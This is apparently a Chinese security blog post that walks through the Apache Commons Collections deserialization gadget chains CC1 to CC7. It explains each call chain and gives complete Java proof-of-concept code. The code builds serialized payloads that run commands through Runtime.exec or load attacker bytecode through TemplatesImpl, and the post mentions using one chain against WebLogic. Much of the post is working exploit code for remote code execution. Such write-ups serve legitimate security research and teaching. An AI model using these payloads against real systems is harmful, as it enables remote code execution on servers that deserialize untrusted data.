这里总结了一下 CommonCollections 的相关利用链
CC1
影响版本:
CommonsCollections 3.1 – 3.2.1
jdk 1.7
因为 jdk 8 没有 setValue 操作,因此链断了。
Transformer
是 org.apache.commons.collections 包下的 Transformer 接口。只定义了一个 transform 方法
ConstantTransformer
ConstantTransformer 实现了 Transformer 接口。它的 transform 方法会直接将构造器传入的 Object 对象返回。我们利用的话将会使用它返回 Runtime 的 Class 的对象
InvokerTransformer
InvokerTransformer 也实现了 Transformer 接口。它的 transform 方法就比较强了。能够通过传入对象的方式反射的方式调用任意方法。
而它的构造器又是方法名、参数类型、参数值都是我们可控的,对应的对象只需要通过 transform 传入即可
具体的属性变量定义
稍微写一下代码演示
ChainedTransformer
可以用 InvokerTransformer 执行任意任意对象的任意方法,但在反序列化过程中我们不能直接传入 Runtime 对象,因为 Runtime 类没有实现 Serializable 接口不能被序列化(当然有些序列化器是可以不要求的,比如 hessian、kryo 等)。而 ChainerTransform 类提供了一些方法有助于我们能够使用 Runtime 类的 getRuntime 方法获取 Runtime 实例
顾名思义,就是 Transhformer 的链。它同样也实现了 Transformer 接口。它的 transform 方法通过传入的对象,再借用自己的 Transform 数组进行调用 transform 然后赋值新的 Object 。就好像是一个链一样串起来。它的构造器就是接收一个 transform 数组
那么也就可以这样
package org.example.poc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.IOException;
public class CC_1 {
public static void main(String[] args) throws IOException {
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
chain.transform(""); // 直接调用 ChainedTransformer 的 transform 方法
}
}
TransformedMap
构造好命令执行链,也就是要看看哪里可以调用的到 transform 方法的类。
这个类中的 checkSetValue 方法中调用了 transform ,并且这个方法会再使用 setValue 方法的时候自动调用
而 valueTransformer 是这个类的属性,我们可以控制
但是这个类中并没有 setValue 方法,因此我们查看它继承的父类 AbstractInputCheckedMapDecorator 方法可以找到 setValue 方法
而 AbstractInputCheckedMapDecorator 的父类就是 AbstractMapDecorator 这个类实现了 Map
所以只需要找到 readObject 中调用了 Map 的 setValue 方法,然后就用了 AnnotationInvocationHandler 的动态代理利用链。但是我 JDK 1. 8 没有这个类,下载的 JDK 1.7 也无法在 IDEA 上编译运行。(现在还有谁用 Jdk 1.7? 但还是放一下完整 POC,测试打 WebLogic 还是挺有效的
@Test
public void CC_1() throws ClassNotFoundException, IOException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
hashMap.put("value", "value");
Map decorateMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(new Class[]{Class.class, Map.class});
constructor.setAccessible(true);
Object instance = constructor.newInstance(new Object[]{Retention.class, decorateMap});
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(instance);
byte[] bytes = byteArrayOutputStream.toByteArray();
try(ByteArrayInputStream in = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(in)) {
objectInputStream.readObject();
}
}
故此 cc1 链就到这结束了….
CC3
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
InstantiateTransformer.transform()
TrAXFilter.TrAXFilter(template)
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
EvilClass.newInstance()
....
该链的出现是为了对抗黑名单的。通过 TemplatesImpl 的 _bytecodes 的属性直接加载恶意字节码的方式利用
原本是限制在 jdk 1.7 的但是经过我的优化,支持 jdk 1.8 了。后半部分不走动态代理,走 badAttributeValueExpException -> tiedMapEntry
利用版本:CommonsCollections 3.1 – 3.2.1。
TemplatesImpl
Java 加载类先是调用 loadClass 在类缓存、父类等位置寻找类,但是在 loadClass 时没找到类会调用 findClass 方法。findClass 的作用可以根据 URL 指定的方式来加载类的字节码。将字节码交给 defineClass,defineClass 将传入的字节码处理为 class
该链主要利用 TemplatesImpl 的 newTransformer 方法
注意到在 newTransformer 方法中调用本类的 getTransletInstance 方法
为了绕过黑名单 InvokeTransformer, 我们寻找到了 TrAXFilter 类。这个类的构造方法中会调用 newTransformer 方法。
InstantiateTransformer
而在 InstantiateTransformer 类中的 transform 方法中会通过反射获得类的构造器方法然后调用 newInstance
接下来就是通过 BadAttributeValueExpException … LazyMap 类触发 InstantiateTransformer 的 transform 方法了
poc:
package org.example.poc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC_3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("Calc.class"));
setFieldValue(templates,"_name","TemplatesImpl");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",new byte[][]{bytecodes});
setFieldValue(templates,"_transletIndex",0);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
HashMap hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, instantiateTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, TrAXFilter.class);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(new Object());
setFieldValue(badAttributeValueExpException,"val",tiedMapEntry);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(badAttributeValueExpException);
objectOutputStream.close();
String encode = Base64.encode(byteArrayOutputStream.toByteArray());
System.out.println(encode);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
CC5
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
该链的出现解决了 CC1 jdk 版本限制的问题
利用版本 CommonsCollections 3.1 – 3.2.1
JDK 无限制
与 CC1 链前面的构造 transform 命令执行链一样,也是要找一个类能够实现 transform 方法的类,而这里也找的是 LazyMap 类,LazyMap 也实现了 Map 接口,在它的 get 方法中会对 key 进行 transform 。
而创建这个对象可以通过调用这个类的 decorate 方法传入一个 Map 对象和 Transform 类。factory 属性就是 Transformer
接下来就要找到能够在反序列化过程中自动调用 get 方法触发这个 LazyMap 的调用。此时与 CC1 链不同的是这里触发 get 方法不是用的动态代理,而是找的是 TiedMapEntry
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
public Object getKey() {
return this.key;
}
public Object getValue() {
return this.map.get(this.key);
}
而且这个类中的 toString 方法被重写了,调用了类本身的 getValue 方法
public String toString() {
return this.getKey() + "=" + this.getValue();
}
现在只需要想办法找到能够将 TiedMapEntry 当作字符串的地方就行了。而在 BadAttributeValueExpException 类的 readObject 方法中正好有相关的调用
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
最终形成了 poc
public class Exp {
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException {
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
HashMap innerMap = new HashMap();
// innerMap.put("value","asdf");
Map lazyMap = LazyMap.decorate(innerMap, chain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "val");
// 通过反射给 badAttributeValueExpException 的 val 属性赋值
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, tiedMapEntry);
FileOutputStream fileOutputStream = new FileOutputStream("./exp.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(badAttributeValueExpException);
fileOutputStream.close();
objectOutputStream.close();
}
}
CC6
HashSet.readObject
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
影响版本:CommonsCollections 3.1 – 3.2.1
JDK 无限制
CC6 与 CC5 类似,也是找到了 TiedMapEntry 的 getValue 方法来触发 LazyMap 的 get 方法。但是并不像 CC5 一样走的是 TiedMapEntry 的 toString 方法来触发,而是看到了 TiedMapEntry 的 hashCode 方法。
而 HashMap 的 put (key, value)方法中调用了 hash(key) 方法,而 hash 方法调用 key 的 hashCode 方法
接下来也就是找到能够在 readObject 方法中调用 Map 的 put 方法的类,也就是 HashSet
但是似乎 map 属性我们不太可控,HashSet 的 map 成员变量是被 transient 修饰。这时注意到 HashSet 的 writeObject 方法,会将 map 中的所有 key 全部写入,然后又在 readObject 的时候将 key 放入到新生成的 map 调用了 map.put(key, value)。也就是说,只需要保证在 writeObject 的过程中有我们 TiedMapEntry 作为 key 写入,那就会调用到 TiedMapEntry 的 hashCode 方法
涉及到 Map hash 的操作赋值总是存在一点小问题,具体编写 POC 看相应的注释
完整 POC
package org.example.poc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CC_6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
HashMap innerMap = new HashMap();
// innerMap.put("value","asdf");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(innerMap, new ChainedTransformer(new Transformer[]{}));
//LazyMap lazyMap = (LazyMap) LazyMap.decorate(innerMap, chain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashSet hashSet = new HashSet(1);
//
hashSet.add(tiedMapEntry);
// 由于在 hashSet.add 时会触发一次利用链,因此我提前将第一次给 lazyMap 的 factory 是无害的 Transform,hashSet add 以后才给 lazyMap 的 factory 重新赋值
// 又由于 我们在生成 lazyMap 的时候已经将一对 Key 和 Value 传入了,而触发 lazyMap get 方法中的 factory.transform 条件是 key 不存在,因此需要情况清空一下 key
lazyMap.clear();
setValue(lazyMap,"factory",chain);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(hashSet);
oos.close();
System.out.println(byteArrayOutputStream);
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
CC7
...
HashTable.readObject()
HashTable.reconstitutionPut()
HashMap.equals()
LazyMap.equals()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
与 CC6 类似,一样是要触发 LazyMap, 但是不像 CC6 找的是 TiedMapEntry 而是 HashTable。
注意到 HashTable 的 readObject 方法从反序列化流中读出所有的 key-value 然后传入 reconstitutionPut 中
跟进该方法发现存在 key 的 equals 方法调用,而这个 key 我们会让它为 LazyMap。
LazyMap 中并没有定义 equals 方法,而在其父类 AbstractMapDecorator 中进行了定义
该方法可以尝试调用 map 的 equals 方法
而 map 便是我们在创建 lazyMap 的时候传入的 HashMap。而在 HashMap 中同样也没有定义 equals 方法,因此我们也需要取 HashMap 的父类去查看
可以看到这里会存在 get 方法调用的可能。而 m 就是我们在 reconstitutionPut 第二次传入的值 LazyMap
完整 POC
package org.example.poc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Hashtable;
import java.util.Map;
public class CC_6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers_exec);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, new ConstantTransformer(0));
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, new ConstantTransformer(0));
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
setValue(lazyMap1,"factory",chainedTransformer);
setValue(lazyMap2,"factory",chainedTransformer);
lazyMap2.remove("yy");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashtable);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
- 为什么 hashMap 要 put 两次 lazyMap?
第一次调用 put 的时候会把 key 和 value 存入 tab 中(这里的 tab 就是 reconstitutionPut 函数传入的 table),在第一次 put 的时候由于 tab 的内容为 null 导致不会进入 for 循环,所以自然就不会执行 equals ,在第二个红框处会先将我们的值存入 tab
由于第一次 put 将数值存入了 tab ,所以第二次 put 时就会进入 for 循环,来到我们的触发点
- 为什么 Put 的值是 yy 和 zZ?
同样的还是 reconstitutionPut 函数里的问题,前面说到我们会 put 两次,那么自然 index 这里计算也会进行两次,那么如果第一次和第二次计算出来的 hash 值不同,那么 index 就会不同,就会导致在第二次中 tab 中会找不到值,从而 e 为 null,自然不会进入 for 循环,就不会触发 RCE。而刚好 yy 和 zZ 的 hashCode 相同
- 那为什么不传入两个相同的值,不也 hashCode 相同吗?
elements 为 1 那么自然循环只会进行一次,reconstitutionPut 也就只会被调用一次,前面说到过我们需要第二次调用 reconstitutionPut 函数才会触发,所以这就是为什么我们传入的值不能相同的原因
参考:http://wjlshare.com/archives/1535
CC2
...
PriorityQueue.readObject
PriorityQueue.heapify
PriorityQueue.siftDown
PriorityQueue.siftDownUsingComparator
TransformingComparator.compare
InvokerTransformer.transform()
Method.invoke
templates.newTransformer
...
EvilClass.newInstance
影响版本 commons-collections4 4.0
JDK 版本无限制
commons-collections官方为了修复一些架构上的问题推出了commons-collections4。两者的包名不一样,可以在同一个项目上同时包含commons-collections和commons-collections4。
CC2 与 CC4 跟之前的几条链不一样,是因为这两条链是针对 commons-collections4。
CC2 与 CC3 类似,也是通过加载恶意的字节码的方式利用
TransformingComparator
在这个类的 compare 方法存在 transform 的调用
而这个类的构造器 transformer 属性也是我们可以控制的
你问我为什么在之前的 CommonCollections 3.1-3.2.1 不用这个类 TransformingComparator 在 3.2.1 的版本上还没有实现 Serializable 接口,其在 3.2.1 版本下是无法反序列化的。
PriorityQueue
这个是 Java 的工具类。该类实现了 Queue 接口,可以对元素进行排序。我们先来看看它的 readObject 方法
调用了 heapify 方法,看看这个方法是干嘛的
又对队列中的元素调用了 siftDown 方法
siftDown 方法又调用了 siftDownUsingComparator 方法
>>>
是无符号右移运算符,从而 half 便是队列长度的一半,如果 k 是 0 那么 child 就是 1 从而 c 是第二个元素,x 便是第一个元素(与 k 一致)
而如果我们设置 compartor 为之前提到的 TransformingComparator ,x 为 Transform 类那么在 readObject 的时候就会触发 RCE
看看 PriorityQueue 的构造器,compartor 是我们可以控制的
POC 有点细节需要注意
package org.example.poc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.transforms.Transform;
import javassist.ClassPool;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC_2 {
public static void main(String[] args) throws Exception {
//TransformingComparator
TemplatesImpl templates =new TemplatesImpl();
setValue(templates, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(org.example.poc.Evil.class.getName()).toBytecode()
});
setValue(templates, "_name", "HelloTemplatesImpl");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
// 因为在 add 的时候会调用 invokerTransformer 的 transform 方法,而我们添加的时候是添加整型,因此要设置的是 toString
InvokerTransformer invokerTransformer = new InvokerTransformer("toString",null,null);
TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
//transformingComparator.compare(templates,templates);
PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(1);
setValue(invokerTransformer,"iMethodName","newTransformer");
// templates 放在第一个位置
setValue(priorityQueue,"queue",new Object[]{templates,1});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(priorityQueue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
CC4
...
PriorityQueue.readObject
PriorityQueue.heapify
PriorityQueue.siftDown
PriorityQueue.siftDownUsingComparator
TransformingComparator.compare
InstantiateTransformer.transform()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
EvilClass.newInstance()
CC4 借鉴了 CC3。与 CC2 前半截触发一样只不过 Transformer 换成了 InstantiateTransformer。变成用 TrAXFilter 的构造方法调用 templates 的newTransformer 方法。
POC:
package org.example.poc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC_4 {
public static void main(String[] args) throws Exception {
//TransformingComparator
TemplatesImpl templates =new TemplatesImpl();
setValue(templates, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(org.example.poc.Evil.class.getName()).toBytecode()
});
setValue(templates, "_name", "HelloTemplatesImpl");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{String.class},new Object[]{"asdasd"});
TransformingComparator transformingComparator = new TransformingComparator(instantiateTransformer);
PriorityQueue priorityQueue = new PriorityQueue(2,transformingComparator);
priorityQueue.add(String.class);
priorityQueue.add(String.class);
setValue(instantiateTransformer,"iParamTypes",new Class[]{Templates.class});
setValue(instantiateTransformer,"iArgs",new Object[]{templates});
Field field = priorityQueue.getClass().getDeclaredField("queue");
field.setAccessible(true);
Object[] queues= (Object[]) field.get(priorityQueue);
queues[0]=TrAXFilter.class;
queues[1]=1;
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(priorityQueue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
end